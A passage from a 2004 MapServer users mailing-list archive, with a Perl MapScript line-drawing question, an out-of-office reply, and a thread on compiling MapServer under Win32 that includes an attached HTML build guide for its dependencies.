> > > > The image is rendered with a scalebar, but vector missing. > > > > I also tried a DrawPoint with no success. > > > > Please put me out of my misery! > > > > Thanks, > > Drew. > > > > > > > > > > > > > > > > > > > > ================= start script ====================== > > > > #!/usr/bin/perl > > > > use mapscript; > > > > $map = new mapscript::mapObj("test_map.map") || die "Couldn't instantiate > map object:$!
\n"; > > > > $img = $map->prepareImage(); > > > > #DrawPolygon(); > > > > DrawLine(); > > > > $map->draw(); > > > > $map->drawLabelCache($img); > > > > $outfile = 'mapgen.'.time.'.png'; > > $img->save($outfile); > > > > exit; > > > > sub DrawLine > > { > > $layer = new mapscript::layerObj($map); > > $layer->{name} = $name; > > $layer->{type} = $mapscript::MS_LAYER_LINE; > > $layer->{symbolscale} = 1000; # The scale at which symbols and/or text > appear full size. > > $layer->{minscale} = 1; > > $layer->{labelcache} = $mapscript::MS_ON; > > $layer->{labelmaxscale} = 50000; > > > > $class = new mapscript::classObj($layer); > > $class->{numstyles} = 1; > > > > $class->{styles}->{minsize} = 40; > > $class->{styles}->{maxsize} = 40; > > $class->{styles}->{size} = 40; > > $class->{styles}->{symbol} = 7; > > > > $class->{styles}->{color}->{red} = 255; > > $class->{styles}->{color}->{green} = 255; > > $class->{styles}->{color}->{blue} = 255; > > > > $class->{styles}->{outlinecolor}->{red} = 255; > > $class->{styles}->{outlinecolor}->{green} = 0; > > $class->{styles}->{outlinecolor}->{blue} = 0; > > > > $class->{label}->{color}->{red} = 0; > > $class->{label}->{color}->{green} = 255; > > $class->{label}->{color}->{blue} = 255; > > $class->{label}->{font} = 'arialbd'; > > $class->{label}->{type} = $mapscript::MS_TRUETYPE; > > $class->{label}->{size} = 7; > > $class->{label}->{minsize} = 7; > > > > $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE ); > > > > $line = new mapscript::lineObj(); > > > > $point = new mapscript::pointObj(); > > > > #EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882 > > > > $point->{x} = 400000.000000; > > $point->{y} = 3200000.000000; > > $line->add($point); > > > > $point->{x} = 900000.000000; > > $point->{y} = 3600000.000000; > > $line->add($point); > > > > $shape->add($line); > > > > $shape->{text} = "TEST"; > > > > $shape->draw($map,$layer,$img); > > > > $layer->draw($map, $img); > > > > undef $layer; > > > > } > > > > > > sub DrawPolygon > > { > > $layer = new mapscript::layerObj($map); > > $layer->{name} = $name; > > $layer->{type} = $mapscript::MS_LAYER_POLYGON; > > $layer->{symbolscale} = 1000; # The scale at which symbols and/or text > appear full size. > > $layer->{minscale} = 1; > > $layer->{labelcache} = $mapscript::MS_ON; > > $layer->{labelmaxscale} = 50000; > > > > $class = new mapscript::classObj($layer); > > $class->{numstyles} = 1; > > > > $class->{styles}->{minsize} = 4; > > $class->{styles}->{maxsize} = 4; > > $class->{styles}->{size} = 4; > > $class->{styles}->{symbol} = 7; > > > > $class->{styles}->{color}->{red} = 255; > > $class->{styles}->{color}->{green} = 255; > > $class->{styles}->{color}->{blue} = 255; > > > > $class->{styles}->{outlinecolor}->{red} = 255; > > $class->{styles}->{outlinecolor}->{green} = 0; > > $class->{styles}->{outlinecolor}->{blue} = 0; > > > > $class->{label}->{color}->{red} = 0; > > $class->{label}->{color}->{green} = 255; > > $class->{label}->{color}->{blue} = 255; > > $class->{label}->{font} = 'arialbd'; > > $class->{label}->{type} = $mapscript::MS_TRUETYPE; > > $class->{label}->{size} = 7; > > $class->{label}->{minsize} = 7; > > > > $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_POLYGON ); > > > > $line = new mapscript::lineObj(); > > > > $point = new mapscript::pointObj(); > > > > #EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882 > > > > $point->{x} = 400000.000000; > > $point->{y} = 3200000.000000; > > $line->add($point); > > $point->{x} = 900000.000000; > > $point->{y} = 3200000.000000; > > $line->add($point); > > $point->{x} = 900000.000000; > > $point->{y} = 3600000.000000; > > $line->add($point); > > $point->{x} = 400000.000000; > > $point->{y} = 3600000.000000; > > $line->add($point); > > $point->{x} = 400000.000000; > > $point->{y} = 3200000.000000; > > $line->add($point); > > > > $shape->add($line); > > > > $shape->{text} = "TEST"; > > > > $shape->draw($map,$layer,$img); > > > > $layer->draw($map, $img); > > > > undef $layer; > > > > } > > > > > > ====================== end script ====================================== > > > > > > > > ====================== start map ======================================= > > > > # Start of map file > > # > > NAME DYN_TEST > > STATUS ON > > SIZE 600 600 > > FONTSET /var/fonts/font_sets > > SYMBOLSET /var/symbols/symbolset.sym > > EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882 > > UNITS meters > > SHAPEPATH "shapes" > > IMAGECOLOR 0 0 0 > > > > PROJECTION > > "proj=utm" > > "zone=15" > > "ellps=GRS80" > > "datum=NAD83" > > "units=m" > > END > > > > # > > # Start of web interface definition > > # > > WEB > > HEADER dipx_header.html > > TEMPLATE dipx.html > > MINSCALE 1000 > > MAXSCALE 100000000 > > IMAGEPATH "/var/www/html/scratch/" > > IMAGEURL "/scratch/" > > LOG "/var/log/mapserver/mapserv.log" > > END > > > > # > > # Start of reference map > > # > > REFERENCE > > IMAGE ref_base_zone_15.png > > EXTENT 388553.951505 3166053.063199 914513.202293 3691701.38882 > > SIZE 120 120 > > STATUS ON > > COLOR 255 255 255 > > OUTLINECOLOR 255 0 0 > > END > > > > # > > # Start of legend > > # > > LEGEND > > KEYSIZE 18 12 > > LABEL > > TYPE BITMAP > > SIZE MEDIUM > > COLOR 0 0 89 > > END > > STATUS ON > > END > > > > # > > # Start of scalebar > > # > > SCALEBAR > > IMAGECOLOR 255 255 255 > > LABEL > > COLOR 0 0 0 > > SIZE SMALL > > END > > SIZE 350 5 > > COLOR 255 255 255 > > BACKGROUNDCOLOR 0 0 0 > > OUTLINECOLOR 0 0 0 > > UNITS MILES > > INTERVALS 5 > > STATUS EMBED > > END > > > > # > > # Start of layer definitions > > # > > > > > > END # Map File > > # > > > > > > ======================= end map ========================= > > From mh at svaj.dk Wed Mar 10 10:24:55 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Wed, 10 Mar 2004 19:24:55 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: <1drlxqq3mon8uu2.100320041924@mail.inet.dk> Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From Rory.PLAIRE at Co.Benton.OR.US Wed Mar 10 10:38:53 2004 From: Rory.PLAIRE at Co.Benton.OR.US (PLAIRE Rory) Date: Wed, 10 Mar 2004 10:38:53 -0800 Subject: [Mapserver-users] Re: Compiling on Win32 Message-ID: >From Sean Gillies: +| Have you considered the possibility of using a well-supported mapscript +| interface such as Perl/PHP/Python/Ruby with your .NET framework? Hi Sean, Thanks for the input... I'll consider it more over the day, but one of the primary motivators in moving to C# is not having to train programmers in - and maintain indefinitely - a widely heterogeneous codebase. I am not averse to putting in the time... it could be a long-term project which gets done little by little. Then again, if something already exists, I'd look at that first! I'm still stumped on how to generate mapparser.h... any pointer how to do this would get me back on track. I'm just coming up short in all documents I read... Has anyone done this on Win32 (no Cygwin)? Thanks, -rory Rory Plaire GIS Programmer/Analyst Benton County, OR From bfraser at geoanalytic.com Wed Mar 10 11:35:41 2004 From: bfraser at geoanalytic.com (Brent Fraser) Date: Wed, 10 Mar 2004 12:35:41 -0700 Subject: [Mapserver-users] Compiling on Win32 References: Message-ID: <1ea501c406d6$df9ddf50$020002c0@SHARK> This is a multi-part message in MIME format. ------=_NextPart_000_1EA2_01C4069C.33273990 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Rory, I've attached my doc on how to build Mapserver on a Win2k (Windows 2000) o/s. It includes a step on creating mapparser.h using flex. The doc is a little out of date; it covers 4.0 but not 4.1 (I'm not sure if there are any significant changes in the build process). And this is just A way of building it, not necessarily THE way. Frank W. and others have put a lot of work into the nmake.opt file to make building as painless as possible. As for making a DLL, see the step in the doc about making a library and select "Win32 Dynamic-Link Library" instead of "Win32 Static Library" as the project type in VC++. You'll likely need to create a ".def" file with the functions you want to expose in the DLL and add it to the project before you compile. That being said, I agree with Sean that if there's a way to expose the functions to C# via Swig you may want to investigate it (keeping up with Mapserver releases on your own can be a killer!). From www.swig.org: "Support for C# and the Chicken scheme compiler was added in SWIG 1.3.18. " so there may be some hope. Brent Fraser Geodata Janitor/Therapist GeoAnalytic Inc. ----- Original Message ----- From: "PLAIRE Rory" To: Sent: Tuesday, March 09, 2004 11:22 AM Subject: [Mapserver-users] Compiling on Win32 > Greetings, > > Many thanks to all who work on Mapserver... a great tool to bring GIS closer > to everyone! > > I am trying to compile Mapserver on Win32 so that I can create a C# wrapper > with SWIG. Two issues come up: 1) I can't find documentation on how to > generate mapparser.h from mapparser.y, although I've used Flex to no avail > and 2) It isn't clear how to generate Mapserver as a DLL, although I know > that some editing of the build will be needed. > > I am lamentably green in the VC++ build process, so these questions will > take me some time to iron out. Perhaps someone would be kind enough to point > to the right direction to start me off. > > Appreciative, > -rory > > Rory Plaire > GIS Programmer/Analyst > Benton County, Oregon > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ------=_NextPart_000_1EA2_01C4069C.33273990 Content-Type: text/html; name="default.htm" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="default.htm" Building Mapserver on Windows 2000 Professional

An = Introduction to Building Mapserver on Windows 2000 Professional

August 6, = 2003

(updated Oct = 1, 2003)

Brent = Fraser

 

What is MapServer?

  =           Mapserver is a web mapping tool.

How do I install it?

  =           Set up IIS on your Windows server, put the mapserv.exe in the cgi-bin directory, build a mapserver-compliant web site.

Why compile it?

=B7       debug it to track down problems

=B7       debug it to find out what it=92s doing = (compensate for lacking documentation!)

=B7       add features (standard options and possibly your = own code)

What do I need?

=B7       access to the Internet to download source code = (and a couple of tools)

=B7       Microsoft=92s Visual C++ compiler

=B7       knowledge of how to create projects in VC++

=B7       knowledge of how to use the Windows Command = Prompt

 

1.=A0 Build enviroment Choices

  =           Mapserver is written almost entirely in ANSI C.  It has been = compiled on Win95, 98, 2000, XP, ME, XP, MacOS, Linux, Sun Unix, and likely other = operating systems.

  =           To build Mapserver on Windows you will need either:

                        = Visual Studio: nmake, VC++           &nb= sp;           &nbs= p;            = ;       (covered in this document)

                        Flex = and Bison parser tools (http://= www.monmouth.com/~wstreett/lex-yacc/lex-yacc.html)    (covered in this document)

  =           or

  =                       = cygwin, gnu c compiler           = ;            =             &= nbsp;           &n= bsp;   (NOT covered in this document)

 

 

2.  Dependancies

  =           Required Source Code:

  =           Mapserver 4.0 2003-08-01 (or greater)    http://mapserver.gis.umn= .edu/dload.html

  =           Regex           &n= bsp;           &nb= sp;           &nbs= p;        =A0=A0=A0=A0 =        ftp://ftp.gnu.= org/pub/gnu/regex/regex-0.12.tar.gz

  =                       - = regular expresssion parser

  =           GD 2.0.15 (or greater)           = ;            =     http://www.boutell.com/gd/

           &nbs= p;            - graphics draw library

 

  =           Recommended Source Code:

  =           Proj 4.4.7 (or greater)           = ;            =      http://www.remotesensing.org/= proj/

  =             &= nbsp;         - map projections

  =           FreeType 2.1.4  (or greater)           = ;        htt= p://sourceforge.net/project/showfiles.php?group_id=3D3157

  =             &= nbsp;         - vector font rendering (rotation, scaling)

  =           GDAL 1.1.9 (or greater)           = ;            =   http://www.remotese= nsing.org/gdal/index.html

-        24-bit rendering

-        raster re-projection

-        lots of additional input formats

 

  =           Optional Libraries:

  =           ECW libraries

  =             &= nbsp;         - adds reading of ECW compressed imagery

  =           PostgreSQL database application

  =             &= nbsp;         - adds reading of spatial data from a relational database

 

  =           Mapserver Options Not Covered Here:

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 WFS = Client and Server=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 - OGIS = Web Feature Service (send vectors to the client)

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 WMS = Client=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0 - OGIS Web Mapping Service Client (request maps from other servers)

  =           SDE           &nbs= p;            = ;            =      - ESRI spatial-enabled data store

  =           MING_Flash          &nb= sp;           &nbs= p;     - output format

  =           EPPL7           &n= bsp;           &nb= sp;           &nbs= p;  - image processing

  =           OracleSpatial          =             &= nbsp;    - relational data store

  =           MapScript = (PHP)           &n= bsp;         - server-side scripting

 

 

3.  Filesystem = Organization

  =           The following is my recommended organization of the libraries, but it is = not required:

  =           ..\ MapServer

  =             &= nbsp;         20030801           = ;           (MapServer release date or nightly build date)

\ freetype-2.1.4

\ gd-2.0.15

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 \ = gd

\ gdal-1.1.9

\ mapserver-4.0

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 \ = mapserver (library)

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 \ = mapserv (exe)

\ proj-4.4.7

\ regex-0.12

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 \ = regex

 

  =           There are other ways to organize the code but this method:

=B7       supports multiple nightly builds in development computer

=B7       allows you to reliably upgrade to new versions = of source code (but it can waste disk space since the dependancies may be duplicated.)

 

4.  Building From the Ground = Up

 The preliminaries

1.      = Install VC++ 6.0 (or Visual Studio with VC++ 6.0) on your software development computer.  Make sure the VC98\bin directory is in your path so you = can run nmake from the command line.

2.      = Create a directory called =93MapServer=94.  It can be a subdirectory = anywhere on your development computer.  This is optional.

3.      = Create a sub-directory called =9320030801=94.  The name corresponds to the = date of the Mapserver nightly build or release date.  This is not a = requirement, but it is useful in separating MapServer=92s source code snapshots if = you intend to build pre-release source code.

Building the dependencies

1.      = Building "proj"

-        download (http://www.remotesensing.org/= proj/) into your =93nightly build=94 (eg 20030801) dir and unpack

-        in the src directory, change PVALUE to PJ_VALUE in:

src\projects.h (line 162, line 348)

src\pj_param.c (line 39, line 43)

-        edit src\makefile.vc to enable debug build.=A0 Comment out line 11, Uncomment = line 12:

#OPTFLAGS=3D=A0=A0=A0=A0 /nologo /Ox = /ML

OPTFLAGS=3D /nologo /Zi /Fdproj.pdb

-        from the command line, execute the following:

cd = proj-4.4.5\src

vcvars32

nmake /f = makefile.vc all

 

2.      = Building =93gdal=94

-        download (http://www.remotese= nsing.org/gdal/index.html) and unpack

-        edit the nmake.opt file to enable debug build.=A0 Comment out line 11, Uncomment = line 12:

#OPTFLAGS=3D=A0=A0=A0=A0 /nologo /Ox = /ML

OPTFLAGS=3D /nologo /Zi = /Fd$(GDAL_ROOT)\gdal.pdb

-        GDAL 1.1.9 requires a change in the nmake.opt to change = the reference from =93core=94 to =93gcore=94 (Frank is aware of this and it = will be fixed in the next release):

INC=A0 =3D=A0=A0=A0 -I$(GDAL_ROOT)\port -I$(GDAL_ROOT)\ogr -I$(GDAL_ROOT)\core

INC=A0 =3D=A0=A0=A0 -I$(GDAL_ROOT)\port -I$(GDAL_ROOT)\ogr -I$(GDAL_ROOT)\gcore

 

-        from the command line:

cd = gdal-1.1.9

nmake /f = makefile.vc

 

3.      = Building =93freetype=94

-        download (htt= p://sourceforge.net/project/showfiles.php?group_id=3D3157) (look under freetype2 for something that looks like ft214.zip) and unpack.

-        use the FreeType supplied VC++ workspace file in builds\win32\visualc

-        build the library

 

4.      = Building =93regex=94

-        download (ftp://ftp.gnu.= org/pub/gnu/regex/regex-0.12.tar.gz) and unpack.

-        create a VC++ Win32 static library project =93regex=94 = in the regex-0.12 directory

-        add regex.c to project (right click the project name in the file view panel, the select = Add Files to Project)

-        under Project -> Settings -> C/C++ -> = Category: Preprocessor, add Preprocessor Definitions:

,HAVE_STRING_H,REGEX_MALLOC

-        build the library

 =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0

5.      = Building =93gd=94

-        download (http://www.boutell.com/gd/) (select =93Download .zip=94) and unpack.

-        create a VC++ Win32 static library project called = =93gd=94 in the gd-2.0.15 directory

-        add the files specified below to the project.=A0 Select the File View tab in VC++, = right click on =93gd files=94 and select =93add Files to Project=94 from the = pop-up menu.=A0 Go up a directory to = the gd-2.0.15 directory. Cut and paste the line below into the =93file name:=94 text = box in the open file dialog:

"wbmp.c" "gd.c" "gd_gd.c" "gd_gd2.c" = "gd_io.c" "gd_io_dp.c" "gd_io_file.c" "gd_io_ss.c" "gd_jpeg.c" "gd_png.c" "gd_ss.c" "gd_topal.c" "gd_wbmp.c" "gdcache.c" "gdfontg.c" "gdfontl.c" "gdfontmb.c" "gdfonts.c" "gdfontt.c" "gdft.c" = "gdhelpers.c" "gdkanji.c" "gdtables.c" "gdxpm.c" =

-        set preprocessor definitions:

,HAVE_LIBPNG,HAVE_LIBZ,HAVE_LIBFREETYPE,HAVE_LIBJPEG

-        set additional include directories:

,..\,..\..\gdal-1.1.9\frmts\zlib,..\..\gdal-1.1.9\frmts\png\libpng,= ..\..\gdal-1.1.9\frmts\jpeg\libjpeg, = ..\..\freetype-2.1.4\include

-        build the library

 

 NOTE:=A0 = There is now an =93nmake.opt=94 file delivered with Mapserver to deal with a lot of the = details covered below.=A0 This is the = preferred method of building Mapserver, but if you are having trouble with it, follow = steps 6 and 7 below:

6.      = Building  the mapserver library

-        download mapserver-4.0.tar.gz from http://mapserver.gis.umn= .edu/dload.html and save in your 20030801 directory.

-        unpack all files from tar file to create a mapserver-4.0 directory = within your 20030801 directory.

-        download flex.exe, bison.exe, and bison.simple (http://= www.monmouth.com/~wstreett/lex-yacc/lex-yacc.html) into the mapserver-4.0 directory.=A0 Using a text = editor, create parser.bat:

flex.exe -Pmsyy -i -omaplexer.c = maplexer.l

bison.exe -p msyy -d -omapparser.c mapparser.y

-        run parser.bat once to create mapparser.h.

-        create a VC++ static library workspace named = =93mapserver=94 in the mapserver-4.0 = directory (VC++ will create a mapserver sub-dir)

-        add cgiutil.c and all the map*.c = (except mapserv.c and = mapserv_fcgi.c) files to the = project

-        add the following preprocessor definitions:

,USE_GDAL, USE_TTF, USE_PROJ, NEED_STRNCASECMP, NEED_STRCASECMP, USE_GD_FT, = USE_GD_PNG, USE_GD_JPEG, IGNORE_MISSING_DATA, USE_OGR, USE_TIFF, USE_JPEG, = HAVE_BOOLEAN

-        add the following Additional Include directories:

..\..\gdal-1.1.9\gcore,..\..\gdal-1.1.9\port,..\..\gdal-1.1.9\alg,.= .\..\gdal-1.1.9\ogr,..\..\gdal-1.1.9\ogr\ogrsf_frmts,..\..\gdal-1.1.9\frm= ts\jpeg\libjpeg,..\..\gdal-1.1.9\frmts\gtiff\libtiff,..\..\gd-2.0.15,..\.= .\regex-0.12,..\..\proj-4.4.7\src

-        compile to mapserver.lib

 

7.      = Building the mapserver executable

-        create console application called mapserv in the mapserver-4.0 directory

-        add mapserv.c to the project

-        add the following Preprocessor definitions:

         =    ,USE_PROJ,USE_WMS_SVR

-        add Additional include dirs:

..\..\gd-2.0.15,..\..\regex-0.12,..\..\proj-4.4.7\src

-        add additional Object/library modules:

Debug version:

..\mapserver\debug\mapserver.lib ..\..\regex-0.12\regex\debug\regex.lib ..\..\proj-4.4.7\src\proj.lib = ..\..\gd-2.0.15\gd\debug\gd.lib ..\..\gdal-1.1.9\gdal.lib = ..\..\freetype-2.1.4\objs\freetype214ST_D.lib

Release version:

..\mapserver\release\mapserver.lib ..\..\regex-0.12\regex\release\regex.lib ..\..\proj-4.4.7\src\proj.lib ..\..\gd-2.0.15\gd\release\gd.lib ..\..\gdal-1.1.9\gdal.lib ..\..\freetype-2.1.4\objs\freetype214.lib

-        compile to mapserv.exe

-        Test your mapserv.exe by opening a command = prompt window, cd to it=92s location, and execute it with the =93-v=94 = option:

cd C:\Development\MapServer\20030428\mapserver_dev\mapserv=

mapserv =96v

MapServer version 4.0 OUTPUT=3DPNG OUTPUT=3DJPEG SUPPORTS=3DPROJ = SUPPORTS=3DFREETYPE SUPPORTS=3DWMS_SERVER INPUT=3DTIFF INPUT=3DJPEG INPUT=3DOGR INPUT=3DGDAL = INPUT=3DSHAPEFILE

The output means:

MapServer = version 4.0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 = =96 version 4.0

OUTPUT=3DPNG         &= nbsp;           &n= bsp;    - this exe will create PNG graphic files for output

OUTPUT=3DJPEG         =             &= nbsp;   - this exe will create JPEG graphic files for output

SUPPORTS=3DPROJ             &= nbsp;         - this exe will re-project data if projection is specified in map = file

SUPPORTS=3DFREETYPE        =            - this exe will allow the use of TrueType fonts

SUPPORTS=3DWMS_SERVER       &nbs= p;         - this exe will will act as a OGIS WMS server

INPUT=3DTIFF             &= nbsp;            - this exe will read TIFF images without going thru GDAL

INPUT=3DJPEG             &= nbsp;            - this exe will read jpeg images without going thru GDAL

INPUT=3DOGR             &= nbsp;           &n= bsp; - this exe will read OGR supported vector formats (e.g TAB, = shapefile, etc)

INPUT=3DGDAL             &= nbsp;            - this exe will read and write GDAL raster formats (e.g jpg, tif, Geotif, BIL, etc)

INPUT=3DSHAPEFILE        &n= bsp;            - this exe will shapefiles without going thru GDAL/OGR

 

 

8.      = Building Shp2img

shp2img.exe is a stand-alone executable (a web server is not required) that can do all = the map graphic rendering mapserv.exe can do, but does not render scale bar or reference map graphic and does not do querying.

-        create console application called shp2img in the = mapserver_dev directory

-        add shp2img.c to the project

-        add the following Preprocessor definitions:

,USE_PROJ

-        set Additional include directories:

..\..\gd-2.0.15,..\..\regex-0.12,..\..\proj-4.4.7\src

-        set Object/library modules:

Debug version:

..\mapserver\debug\mapserver.lib ..\..\regex-0.12\regex\debug\regex.lib ..\..\proj-4.4.7\src\proj.lib ..\..\gd-2.0.15\gd\debug\gd.lib ..\..\gdal-1.1.9\gdal.lib ..\..\freetype-2.1.4\objs\freetype214ST_D.lib

Release version:

..\mapserver\release\mapserver.lib ..\..\regex-0.12\release\regex.lib ..\proj-4.4.7\src\proj.lib ..\ ..\gd-2.0.15\gd\release\gd.lib ..\..\gdal-1.1.9\gdal.lib ..\freetype-2.1.4\objs\freetype214ST.lib

-        compile to shp2img.exe

 

5. Testing the Mapserver = Build

Test with shp2img

  =           Create a map file and test using shp2img:

shp2img -m C:\Inetpub\wwwroot\test\test.map -o test.jpg

Test = mapserv.exe on the command line

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 = mapserv = QUERY_STRING=3Dxxxxxxxxxxxx

Test mapserv.exe with the Itasca demo

Download and install the Itasca demo

Move your mapserv.exe to your cgi-bin directory.

Browse to your Itasca demo

  =           <more info TBD>

 

6. Debugging Mapserver

Map Rendering problems

Map Query Problems

  =           <more info TBD>

 

7. Enabling Other Capabilities of = MapServer

1.    Adding ECW Reading Capabilities

Download ERMapper=92s =93ECW Compression/Decompression = SDK for Windows=94 from www.ermapper.com - downloads, and install.

Edit GDAL=92s nmake.opt file.  Uncomment and change the ECWDIR = assignment to point to the location of the ECW libraries.  The path must be in = MSDOS format (use =93dir /X=94 to show name in MSDOS = format):

ECWDIR  =3D   C:\PROGRA~1\ERMapp~1\ECWCom~1.1

Uncomment the next two lines as well:

ECWLIB  =3D   $(ECWDIR)\lib\NCSEcw.lib $(ECWDIR)\lib\NCSEcwC.lib = \

           =A0=A0=A0 =     $(ECWDIR)\lib\NCSUtil.lib

 

From the command line execute:

      =A0=A0=A0 cd gdal-1.1.9

      =A0=A0=A0 nmake /f makefile.vc = clean

      =A0=A0=A0 nmake /f = makefile.vc

 

Add the following Object/library modules to the Link = dialog for mapserv.exe (and shp2img if you want).

C:\PROGRA~1\ERMapp~1\ECWCom~1.1\lib\NCSEcw.li= b C:\PROGRA~1\ERMapp~1\ECWCom~1.1\lib\NCSEcwC.lib C:\PROGRA~1\ERMapp~1\ECWCom~1.1\lib\NCSUtil.lib

 

These ECW libraries are just the =93stubs=94 of the = functions allowing the exe to be linked without any errors.  Before you can = use an exe (like mapserv.exe)  that makes use of the functions, you must = copy the corresponding ECW DLLs into the same directory as the exe, or into the = O/S system32 directory.

 =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 To use = ECW raster files, simply reference them as you would other raster files in the DATA statement in the LAYER = object of your map file.

 

2.    Adding PostGIS Reading Capabilities

PostGIS is a spatial enabling layer added to the open = source database PostgreSQL.  MapServer requires the PostGIS functions to = be added to PostgreSQL (MapServer will not read geometry data from a PostgreSQL = database without it)  PostgreSQL is primarily built for Unix/Linux but will = run on Windows.  While there is a Windows version of PostgreSQL available = for running with Cygwin (a Unix-like environment for Windows), we use the = native Windows port created by Multera/PeerDirect. 

NOTE:=A0 The port was a = beta, and is no longer available

Download the Multera binaries from ftp://209.61.187= .152/multera/postgres_beta2.zip.=A0 Unpack and follow the install documentation included in the zip file.  Add the PostGIS layer = to PostgreSQL by downloading it from http://postgis.refractions.net. Unpack and install.  There are a couple of ways of creating data in PostGIS, but one of the easiest is the shp2pgsql utility included in the PostGIS download.

 Make the following changes to the mapserver lib project:

  = Add the following Preprocessor definition:

,USE_POSTGIS

  = Add the following Additional include directories:

  =           , = C:\programs\Postgresql\include (or where ever you=92ve installed PostgreSQL)

=A0=A0 Add the following = Object/library module in the mapserv exe project=92s link dialog:

C:\programs\PostgreSQL\lib\libpq.lib  (or where ever you=92ve = installed PostgreSQL)

 

Do a mapserv =96v.  = You should see INPUT=3DPOSTGIS = included in the capabilities list.

 To access data stored in PostGIS, add a layer to your map file using the = following example as a guide:

  =             CONNECTIONTYPE postgis 

  =             CONNECTION "user=3Dmyaccount password=3Dmypass dbname=3Dmydb host=3Dwww.myserver.com"

  =             DATA "alberta from (select name from cities where province = like 'Alberta') as foo using unique city_id using SRID=3D-1"

 

3.    Adding WMS Server Capabilities <this section is = under construction>

Building the dependencies

1.      = Building "zlib"

- create a zlib-1.1.4 dir into your =93nightly build=94 (eg 20030202) dir

- download zlib from http://www.gzip.org/zlib into your = new zlib dir

- unpack

- copy makfile.nt and = zlib.dnt from zlib=92s nt dir up one level to the zlib dir

- from the command = line, execute the following:

vcvars32

nmake /f makefile.nt

 

2.      = Building "libcurl"

- download libcurl from = http://curl.haxx.se/download.h= tml (the zip package) into your =93nightly build=94 (eg 20030202) dir

- unpack

- cd to the libcurl = directory

- from the command = line, execute the following:

vcvars32

nmake vc

- really only the = library needs to be made (the above builds the library and curl.exe).=A0 If you want to build only the library, cd to the lib dir = and do:

vcvars32

nmake -f Makefile.vc6 CFG=3Ddebug-dll

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0 (requires ws2_32.lib to be linked in)

 

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Add = the following preprocesser directive to the mapserver and mapserv = projects:

, USE_WMS_SVR

 

4.    Adding WFS Server Capabilities <this section is = under construction>

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Add = the following preprocesser directive to the mapserver and mapserv = projects:

, USE_WFS_SVR

 

------=_NextPart_000_1EA2_01C4069C.33273990-- From Rory.PLAIRE at Co.Benton.OR.US Wed Mar 10 11:38:46 2004 From: Rory.PLAIRE at Co.Benton.OR.US (PLAIRE Rory) Date: Wed, 10 Mar 2004 11:38:46 -0800 Subject: [Mapserver-users] Compiling on Win32 Message-ID: Thanks Brent! I'll give it a shot. Actually, I have used SWIG to generate the C# wrapper for MapServer... I looked at most of the code it generates, and it really looks like it will work well. I appreciate how it uses the P/Invoke mechanism to call the MapServer dll since this will allow the wrapper to port to other runtime platforms... now, if I can only get it to compile into one... ;) I hope that I will be sharing a favorable outcome. Thanks again, -rory 8) -----Original Message----- From: Brent Fraser [mailto:bfraser at geoanalytic.com] Sent: Wednesday, March 10, 2004 11:36 AM To: PLAIRE Rory; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Compiling on Win32 << File: default.htm >> Rory, I've attached my doc on how to build Mapserver on a Win2k (Windows 2000) o/s. It includes a step on creating mapparser.h using flex. The doc is a little out of date; it covers 4.0 but not 4.1 (I'm not sure if there are any significant changes in the build process). And this is just A way of building it, not necessarily THE way. Frank W. and others have put a lot of work into the nmake.opt file to make building as painless as possible. As for making a DLL, see the step in the doc about making a library and select "Win32 Dynamic-Link Library" instead of "Win32 Static Library" as the project type in VC++. You'll likely need to create a ".def" file with the functions you want to expose in the DLL and add it to the project before you compile. That being said, I agree with Sean that if there's a way to expose the functions to C# via Swig you may want to investigate it (keeping up with Mapserver releases on your own can be a killer!). From www.swig.org: "Support for C# and the Chicken scheme compiler was added in SWIG 1.3.18. " so there may be some hope. Brent Fraser Geodata Janitor/Therapist GeoAnalytic Inc. ----- Original Message ----- From: "PLAIRE Rory" To: Sent: Tuesday, March 09, 2004 11:22 AM Subject: [Mapserver-users] Compiling on Win32 > Greetings, > > Many thanks to all who work on Mapserver... a great tool to bring GIS closer > to everyone! > > I am trying to compile Mapserver on Win32 so that I can create a C# wrapper > with SWIG. Two issues come up: 1) I can't find documentation on how to > generate mapparser.h from mapparser.y, although I've used Flex to no avail > and 2) It isn't clear how to generate Mapserver as a DLL, although I know > that some editing of the build will be needed. > > I am lamentably green in the VC++ build process, so these questions will > take me some time to iron out. Perhaps someone would be kind enough to point > to the right direction to start me off. > > Appreciative, > -rory > > Rory Plaire > GIS Programmer/Analyst > Benton County, Oregon > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Wed Mar 10 11:45:54 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 10 Mar 2004 13:45:54 -0600 